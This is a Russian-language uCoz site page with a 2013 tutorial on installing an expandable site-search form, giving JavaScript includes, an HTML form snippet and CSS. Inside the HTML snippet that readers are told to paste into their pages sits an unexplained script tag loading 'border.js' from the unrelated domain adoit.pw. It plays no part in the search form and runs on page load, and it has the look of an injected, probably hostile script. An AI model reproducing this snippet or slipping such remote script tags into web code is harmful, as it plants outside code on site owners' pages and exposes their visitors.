КОМПЬЮТЕРНЫЕ ПРОГРАММЫ
Четверг, 02/Мая/2024, 16:52:17
Вы вошли как Гость | Группа "Гости"Приветствую Вас Гость | RSS
Главная | | Мой профиль | Регистрация | Выход | Вход
Выбрать язык / Select language:
Ukranian
English
French
German
Japanese
Italian
Portuguese 		Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian 		Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Rotaban.ru - биржа баннерной рекламы
Здравствуйте уважаемые посетители, пользователи и гости сайта!!! Администрация сайта уведомляет!!! Материалы сайта предоставлены только в ознакомительных целях. За их качество Администрация сайта не несёт ответственности!!!
МЕНЮ САЙТА

ПЛЕЙЕР САЙТА

РАДИО САЙТА

МИНИ-ПРОФИЛЬ САЙТА
02/Мая/2024, Четверг
16:52:17



Вы вошли как: Гость
Группа: Гости
На сайте: -й день
Вы пользователь № 0
Личных сообщений:
Ваш браузер:
Ваш Ip: 18.224.95.38


[ Открыть ]


СТАТИСТИКА САЙТА
Всего чел. на сайте: 31
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Счетчики
Онлайн лист
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Cегодня нас посетили
[ Полный Список ]

ТОП ПОЛЬЗОВАТЕЛЕЙ
» Зарег. на сайте
Всего: 31
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
» Из них
Администраторов: 1
Модераторов: 0
Проверенных: 2
Обычных юзеров: 26
» Из них
Парней: 29
Девушек: 1

МИНИ-ЧАТ САЙТА

ОЦЕНКА САЙТА
Оцените мой сайт
Результаты | Архив опросов
Всего ответов: 109
Уважаемые посетители и пользователи моего сайта! Пожалуйста не забывайте ставить Вашу оценку сайта моему сайту!!!

ОЦЕНКА БРАУЗЕРОВ
Какой браузер лучше
Результаты | Архив опросов
Всего ответов: 64

УЧЕБНИК ПО UCOZ

САЙТ В РЕЙТИНГАХ
Яндекс.Метрика Рейтинг@Mail.ru
Besucherzahler single Russian women interested in marriage
счетчик посещений
Счетчик цитирования МЕТА - Украина. Рейтинг сайтов Проверка сайта Український рейтинг TOP.TOPUA.NET Настоящий ПР wwwdjvoko.ucoz.ru Rating All.BY Рейтинг сайтов

ОПЛАТА УСЛУГ

МИХАИЛ РУСАКОВ
Финансовая грамотность от А до Я

Финансовая грамотность от А до Я

31 видеоурок, 77 заданий, поддержка от автора

Получить курс


КУРСЫ ВАЛЮТ

ПАРТНЁР 1100AD.COM

PHOTOSHOP-MASTER

ПАРТНЁР LOVEPLANET

ПАРТНЁР ФОТОСТРАНА

ПАРТНЁР My Love.Ru

WORLD OF TANKS. RU

Block title
Цена wwwdjvoko.ucoz.ru

Block title


Block title
Хостинг

BITCOINS AIR LTD

Block title

АВТОДЕНЬГИ

СКОРОСТЬ ИНТЕРНЕТА

webhost1.ru
Дешевый хостинг

Host Tracker.Com
службы мониторинга серверов службы мониторинга серверов

jANTIVIRUS
jAntivirus
Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
12:31:51
Создаём раздвижную форму поиска для uCoz
[c][/c]Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

[code]<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
new UISearch( document.getElementById( 'sb-search' ) );
</script>[/code]

Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

[code] <!-- Поиск по сайту -->
<div id="sb-search" class="sb-search">
<form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
<input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
<input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
</form>
</div>
<!-- /Поиск по сайту --> [/code]

Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

[code]/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
position: relative;
margin-top: 10px;
width: 0%;
min-width: 32px;
height: 32px;
float: right;
overflow: hidden;

-webkit-transition: width 0.3s;
-moz-transition: width 0.3s;
transition: width 0.3s;
-webkit-backface-visibility: hidden;
}

.sb-search-input {
position: absolute;
top: 0;
right: 0;

margin: 0;
z-index: 10;
width:300px;
height: 20px;
outline: none;
background: #fff;
border: 1px solid #CAD3DA;
padding: 5px 32px 5px 20px;

font:11px Verdana,Arial,Helvetica, sans-serif;
color:#555;
border-radius:3px 0px 0px 3px;
}

.sb-search-input::-webkit-input-placeholder {
color: #efb480;
}

.sb-search-input:-moz-placeholder {
color: #efb480;
}

.sb-search-input::-moz-placeholder {
color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
position: absolute;
right: 0;
top: 0;
margin: 0;

width: 32px;
height: 32px;
display: block;

line-height: 30px;
text-align: center;
cursor: pointer;
}

.sb-search-submit {
background: #fff;
color: transparent;
border: none;
outline: none;
z-index: -1;
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
}

.sb-icon-search {
border:none;
z-index: 90;
background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
-webkit-font-smoothing: antialiased;
border-radius:3px 3px 3px 3px;
}

.sb-icon-search:before {
content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
z-index: 11;
border-radius:0px 3px 3px 0px;
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
z-index: 90;
}[/code]

На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Просмотров: 368 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
БЛОК ПОДЕЛИТЬСЯ

ЧАСЫ НА САЙТЕ

ПОИСК ОТ ЯНДЕКСА

КАЛЕНДАРЬ САЙТА

ПОИСК ОТ GOOGLE

ПОСЕЩАЕМОСТЬ САЙТА

ПОГОДА В МИРЕ

ПОИСК

ВИЗИТЁРЫ САЙТА
Flag Counter

СОЦИАЛЬНЫЕ СЕТИ
Поделиться в Твиттере Поделиться в livejournal

АРХИВ ЗАПИСЕЙ

ПАРТНЁРКА BASOV E.

ДРУЗЬЯ САЙТА
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz

    • КНОПКА МОЕГО САЙТА
    Кнопка моего сайта //wwwdjvoko.ucoz.ru-КОМПЬЮТЕРНЫЕ ПРОГРАММЫ
    Уважаемые посетители моего сайта!!! Если Вам понравился мой сайт, буду очень признателен и рад размещению кнопки моего сайта на Вашем сайте!!!

    САЙТ НА FACEBOOK
    Компьютерные Программы

    МОЙ САЙТ VКОНТАКТЕ

    SOFTPORTAL.COM
    Программы на SoftPortal.com Программы на SoftPortal.com

    RECREATIV.RU

    ДРУЗЬЯ МОЕГО САЙТА
    DiZona – все для Photoshop
    Стиль Photoshop
    Ваш Дизайн
    Всё для дизайна и графики
    Мир Photoshop.Всё для дизайна.
    DIZONA
    Фотошо+Я
    Kubines - Оформление системы

    ПАРТНЁРКА Tak.Ru

    Graffiti РАСКРУТКА
    Graffiti Decorations(R) Studio (TM) Site Promoter

    SOFTPORTAL.COM RSS

    Block title
    Дешевый хостинг

    ПАРТНЁР SODGame.ru

    НОВОСТИ Lenta.ru

    БЛОК НУЖНОГО СОФТА

    ПАРТНЁР 1Pirat.RU

    МОЙ САЙТ В РАБОТЕ

    АТТЕСТАТ WebMoney

    Проверить аттестат

    СПАСИБО САЙТУ

    Website Reputation
    wwwdjvoko.ucoz.ru Webutation

    ФОРЕКС РЕЙТИНГ
    Форекс рейтинг

    FOREX MAGAZINE
    Журнал для трейдеров

    РЕКЛАМА ОТ ФОРЕКС
    Разместить объявление

    ФОРЕКС КАТАЛОГ
    Форекс каталог

    SITE GUARD
    Этот сайт защищен «Site Guard»
    Вверх
    Copyright MyCorp  &  Dj Voko © 2024
    Копирование материалов сайта  без ведома Администратора сайта преследуется по закону
    Дизайн и вёрстку сайта выполнено Dj Voko
    Сайт управляется хостингом UCOZ
    Все права защищены!!!